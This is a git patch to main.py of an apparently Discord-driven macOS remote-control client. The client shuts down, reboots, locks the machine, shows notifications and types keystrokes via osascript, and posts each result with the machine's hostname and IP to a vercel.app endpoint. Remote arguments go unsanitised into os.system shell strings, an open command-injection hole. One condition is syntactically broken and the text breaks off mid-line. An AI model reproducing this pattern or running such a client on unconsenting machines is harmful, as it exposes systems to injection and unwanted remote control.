From 22a36ef5365e59ac1e6532f1f864bc8e44a71115 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Wed, 30 Aug 2023 08:03:21 +0800 Subject: updated asklog and fixed common bug with split nad str --- main.py | 96 ++++++++++++++++++++++++++++++++++++----------------------------- 1 file changed, 54 insertions(+), 42 deletions(-) diff --git a/main.py b/main.py index 510e369..234f617 100644 --- a/main.py +++ b/main.py @@ -94,14 +94,14 @@ while True: volumesize = int(localcmd[1]) if ossystem(f"osascript -e 'set Volume {volumesize/10}'") == 0: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{hostname}@{ip}$ {localcmd}: ``Volume set to {volumesize}``") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }: ``Volume set to {volumesize}``") old_command = command except KeyboardInterrupt: continue continue else: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{hostname}@{ip}$ {localcmd}: ``Volume set ran unsuccesfully``") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }: ``Volume set ran unsuccesfully``") except KeyboardInterrupt: continue continue @@ -109,13 +109,13 @@ while True: except ValueError: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{hostname}@{ip}$ {localcmd}: ``Please enter a volume size``") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }: ``Please enter a volume size``") except KeyboardInterrupt: continue continue except KeyboardInterrupt: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) while sending error of {localcmd}``") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) while sending error of { ' '.join(str(e) for e in localcmd) }``") except KeyboardInterrupt: continue continue @@ -126,17 +126,17 @@ while True: if localcmd[1] == 'shutdown' or localcmd[1] == 'poweroff': if ossystem('osascript -e \'tell app "Finder" to shut down\'') == 0: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```computer shutting down, bye...```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```computer shutting down, bye...```") old_command = command except: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to shutdown```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to shutdown```") except KeyboardInterrupt: continue continue else: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start shutting down```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start shutting down```") except KeyboardInterrupt: continue continue @@ -144,17 +144,17 @@ while True: elif localcmd[1] == 'restart' or localcmd[1] == 'reboot': if ossystem('osascript -e \'tell app "Finder" to restart\'') == 0: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```computer rebooting, cya...```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```computer rebooting, cya...```") old_command = command except: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start rebooting```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start rebooting```") except KeyboardInterrupt: continue continue else: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start rebooting```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start rebooting```") except KeyboardInterrupt: continue continue @@ -162,34 +162,34 @@ while True: elif localcmd[1] == 'sleep' or localcmd[1] == 'suspend' or localcmd[1] == 'pause': if ossystem('osascript -e \'tell app "Finder" to sleep\'') == 0: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```computer going to sleep, cya...```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```computer going to sleep, cya...```") old_command = command except: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start sleeping```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start sleeping```") except KeyboardInterrupt: continue continue else: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start sleeping```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start sleeping```") except KeyboardInterrupt: continue continue elif localcmd[1] == 'lock' or localcmd[1] == 'lockscreen': if ossystem('osascript -e \'tell application "System Events" to keystroke "q" using {command down, control down}\'') == 0: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```computer going to lockscreen, cya...```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```computer going to lockscreen, cya...```") old_command = command except: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start lockingscreen```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start lockingscreen```") except KeyboardInterrupt: continue continue else: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start lockingscreen```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start lockingscreen```") except KeyboardInterrupt: continue continue @@ -205,20 +205,20 @@ while True: if localcmd[2len(localcmd)]: if ossystem(f"osascript -e 'display notification \"{localcmd[2]}\" with title \"{localcmd[3]}\" subtitle \"{localcmd[4]}\"'") == 0: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Notified successfully```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Notified successfully```") old_command = command except: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to notify```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to notify```") continue continue else: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to notify```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to notify```") except KeyboardInterrupt: continue continue else: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```You need to pass three argument in the order of \`content\` \`title\` \`subtitle\`") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```You need to pass three argument in the order of \`content\` \`title\` \`subtitle\`") old_command = command continue elif localcmd[1] == 'keyboard' or localcmd[1] == 'type': @@ -269,28 +281,28 @@ while True: if localcmd[2] == 'type': if os.system(f"osascript -e 'tell application \"System Events\" to keystroke \"{ ' '.join(str(e) for e in localcmd[3:]) }\"\'") == 0: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Successfully typed {' '.join(str(e) for e in localcmd[3:])} with keyboard```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Successfully typed {' '.join(str(e) for e in localcmd[3:])} with keyboard```") old_command = command except: continue continue else: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to do typing```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to do typing```") except: continue continue elif localcmd[2] == 'press': if os.system(f"osascript -e 'tell application \"System Events\" to keystroke { ' '.join(str(e) for e in localcmd[3:]) }\'") == 0: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Successfully pressed {' '.join(str(e) for e in localcmd[3:])} with keyboard```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Successfully pressed {' '.join(str(e) for e in localcmd[3:])} with keyboard```") old_command = command except: continue continue else: try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to do pressing```") + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to do pressing```") except: continue continue @@ -298,14 +310,14 @@ while True: if localcmd[2